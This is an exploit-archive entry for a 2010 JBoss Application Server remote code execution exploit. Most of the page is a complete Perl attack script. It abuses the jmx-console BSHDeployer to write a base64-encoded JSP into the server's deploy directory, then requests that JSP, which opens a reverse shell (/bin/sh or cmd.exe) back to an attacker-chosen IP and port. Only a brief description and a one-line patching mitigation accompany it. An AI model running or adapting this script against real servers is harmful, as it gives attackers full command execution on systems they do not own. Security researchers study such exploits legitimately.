JBoss AS Remote Exploit

vendor:

N/A

by:

Kingcope

9,3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2010

This exploit allows an attacker to execute arbitrary code on a vulnerable JBoss Application Server. The exploit works by sending a specially crafted HTTP request to the target server, which contains a malicious JSP file. The malicious JSP file contains code that will open a socket connection to the attacker's machine, allowing the attacker to execute arbitrary commands on the target server.

Mitigation:

Ensure that the JBoss Application Server is up to date and that all security patches are applied.

Source

Exploit-DB raw data:

#JBoss AS Remote Exploit
#by Kingcope
#####

use IO::Socket;
use LWP::UserAgent;
use URI::Escape;
use MIME::Base64;

sub usage {
	print "JBoss AS Remote Exploit\nby Kingcope\n\nusage: perl jboss.pl <target> <targetport> <yourip> <yourport> <win/lnx>\n";
	print "example: perl daytona.pl 192.168.2.10 8080 192.168.2.2 443 lnx\n";
	exit;
}

if ($#ARGV != 4) { usage; }

$host = $ARGV[0];
$port = $ARGV[1];
$myip = $ARGV[2];
$myport = $ARGV[3];
$com = $ARGV[4];

if ($com eq "lnx") {
	$comspec = "/bin/sh";
}

if ($com eq "win") {
	$comspec = "cmd.exe";
}

$|=1;

$jsp="
<%@
page import=\"java.lang.*, java.util.*, java.io.*, java.net.*\"
%>
			<%!
				static class StreamConnector extends Thread
				{
					InputStream is;
					OutputStream os;

					StreamConnector( InputStream is, OutputStream os )
					{
						this.is = is;
						this.os = os;
					}

					public void run()
					{
						BufferedReader in  = null;
						BufferedWriter out = null;
						try
						{
							in  = new BufferedReader( new InputStreamReader( this.is ) );
							out = new BufferedWriter( new OutputStreamWriter( this.os ) );
							char buffer[] = new char[8192];
							int length;
							while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
							{
								out.write( buffer, 0, length );
								out.flush();
							}
						} catch( Exception e ){}
						try
						{
							if( in != null )
								in.close();
							if( out != null )
								out.close();
						} catch( Exception e ){}
					}
				}
			%>
			<%
				try
				{
					Socket socket = new Socket( \"$myip\", $myport );
					Process process = Runtime.getRuntime().exec( \"$comspec\" );
					( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
					( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
				} catch( Exception e ) {}
			%>";

#print $jsp;exit;

srand(time());

sub randstr
{
	my $length_of_randomstring=shift;# the length of 
			 # the random string to generate

	my @chars=('a'..'z','A'..'Z','0'..'9','_');
	my $random_string;
	foreach (1..$length_of_randomstring) 
	{
		# rand @chars will generate a random 
		# number between 0 and scalar @chars
		$random_string.=$chars[rand @chars];
	}
	return $random_string;
}

$appbase = randstr(8);
$jspname = randstr(8);

print "APPBASE=$appbase\nJSPNAME=$jspname\n";

$bsh_script = 
qq{import java.io.FileOutputStream; 
import sun.misc.BASE64Decoder;

String val = "} . encode_base64($jsp, "") .  qq{";

BASE64Decoder decoder = new BASE64Decoder(); 
String jboss_home = System.getProperty("jboss.server.home.dir"); 
new File(jboss_home + "/deploy/} . $appbase . ".war" . qq{").mkdir(); 
byte[] byteval = decoder.decodeBuffer(val); 
String jsp_file = jboss_home + "/deploy/} . $appbase . ".war/" . $jspname . ".jsp" . qq{"; 
FileOutputStream fstream = new FileOutputStream(jsp_file); 
fstream.write(byteval); 
fstream.close(); };

# 
# UPLOAD 
# 
    
$params = 'action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&methodName=createScriptDeployment&argType=java.lang.String&arg0=' . uri_escape($bsh_script) 
.
'&argType=java.lang.String&arg1=' . randstr(8) . '.bsh';

my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");

my $req = HTTP::Request->new(POST => "http://$host:$port/jmx-console/HtmlAdaptor");
  $req->content_type('application/x-www-form-urlencoded');
  $req->content($params);
   
  print "UPLOAD... ";
  my $res = $ua->request($req);

  if ($res->is_success) {
      print "SUCCESS\n";
      print "EXECUTE";
      sleep(5);
      $uri = '/' . $appbase . '/' . $jspname . '.jsp';
      
      for ($k=0;$k<10;$k++) {
      my $ua = LWP::UserAgent->new;
	  $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
	  my $req = HTTP::Request->new(GET => "http://$host:$port$uri");
	  my $res = $ua->request($req);

  		if ($res->is_success) {
	  		print "\nSUCCESS\n";
	  		exit;
  		} else {
	  		print ".";
#		        print $res->status_line."\n";

	  		sleep(5);
  		}
	  }
      print "UNSUCCESSFUL\n";
  }
  else {
	  print "UNSUCCESSFUL\n";
      print $res->status_line, "\n";
      exit;
  }